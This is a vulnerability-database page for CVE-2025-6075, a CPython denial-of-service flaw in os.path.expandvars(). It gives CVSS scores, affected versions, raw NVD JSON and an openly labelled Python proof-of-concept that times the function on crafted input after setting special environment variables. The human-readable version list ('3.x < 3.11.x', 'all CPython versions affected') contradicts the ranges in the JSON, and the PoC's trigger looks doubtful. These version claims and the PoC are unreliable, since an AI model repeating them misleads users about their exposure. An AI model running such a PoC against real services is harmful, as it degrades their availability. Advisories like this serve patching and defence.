Security Vulnerability Report
中文
CVE-2025-6075 CVSS 5.5 MEDIUM

CVE-2025-6075

Published: 2025-10-31 17:15:49
Last Modified: 2026-02-04 19:05:15

Description

If the value passed to os.path.expandvars() is user-controlled a performance degradation is possible when expanding environment variables.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:python:python:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:python:python:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:python:python:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:python:python:3.15.0:alpha1:*:*:*:*:*:* - VULNERABLE
Python 3.x < 3.11.x
Python 3.x < 3.12.x
Python 3.x < 3.13.x
CPython 全版本受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-6075 PoC - Python os.path.expandvars() Performance Degradation This PoC demonstrates the performance degradation when os.path.expandvars() processes user-controlled input with specially crafted environment variables. """ import os import time import string def measure_expandvars_time(input_string, iterations=1000): """Measure the time taken by os.path.expandvars()""" start = time.time() for _ in range(iterations): os.path.expandvars(input_string) end = time.time() return end - start def generate_malicious_env_vars(): """Generate environment variables that trigger the vulnerability""" # Create environment variables with special patterns for i in range(100): # Pattern that triggers quadratic behavior var_name = 'A' * i + '$' var_value = 'X' * 100 os.environ[var_name] = var_value def main(): print("CVE-2025-6075 PoC - os.path.expandvars() Performance Degradation") print("=" * 70) # Normal case normal_input = "$HOME/path/to/file.txt" normal_time = measure_expandvars_time(normal_input) print(f"Normal case time: {normal_time:.4f} seconds") # Setup malicious environment variables print("\nSetting up malicious environment variables...") generate_malicious_env_vars() # Malicious case - triggers performance degradation malicious_input = "$" + "A" * 99 + "$/path/to/file.txt" malicious_time = measure_expandvars_time(malicious_input) print(f"Malicious case time: {malicious_time:.4f} seconds") # Calculate performance ratio if normal_time > 0: ratio = malicious_time / normal_time print(f"\nPerformance degradation ratio: {ratio:.2f}x") print("Vulnerability confirmed: Significant performance degradation detected!") # Cleanup for i in range(100): var_name = 'A' * i + '$' if var_name in os.environ: del os.environ[var_name] if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6075", "sourceIdentifier": "[email protected]", "published": "2025-10-31T17:15:48.693", "lastModified": "2026-02-04T19:05:15.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "If the value passed to os.path.expandvars() is user-controlled a \nperformance degradation is possible when expanding environment \nvariables."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.8, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:python:python:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.9.0", "matchCriteriaId": "6E6A50B5-4D36-483E-9326-8D824E197D27"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.13.1", "versionEndExcluding": "3.13.11", "matchCriteriaId": "16490D75-8319-4FF4-8DB1-94F1722DC561"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.14.0", "versionEndExcluding": "3.14.1", "matchCriteriaId": "6E66BA7A-987F-4E24-8B69-4F46D6FCD19E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:python:python:3.15.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "A3327507-0B1D-4F28-A983-D07A2C8A7696"}]}]}], "references": [{"url": "https://github.com/python/cpython/commit/2e6150adccaaf5bd95d4c19dfd04a36e0b325d8c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/5dceb93486176e6b4a6d9754491005113eb23427", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/631ba3407e3348ccd56ce5160c4fb2c5dc5f4d84", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/892747b4cf0f95ba8beb51c0d0658bfaa381ebca", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/9ab89c026aa9611c4b0b67c288b8303a480fe742", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/c8a5f3435c342964e0a432cc9fb448b7dbecd1ba", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/commit/f029e8db626ddc6e3a3beea4eff511a71aaceb5c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/python/cpython/issues/136065", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}, {"url": "https://mail.python.org/archives/list/[email protected]/thread/IUP5QJ6D4KK6ULHOMPC7DPNKRYQTQNLA/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}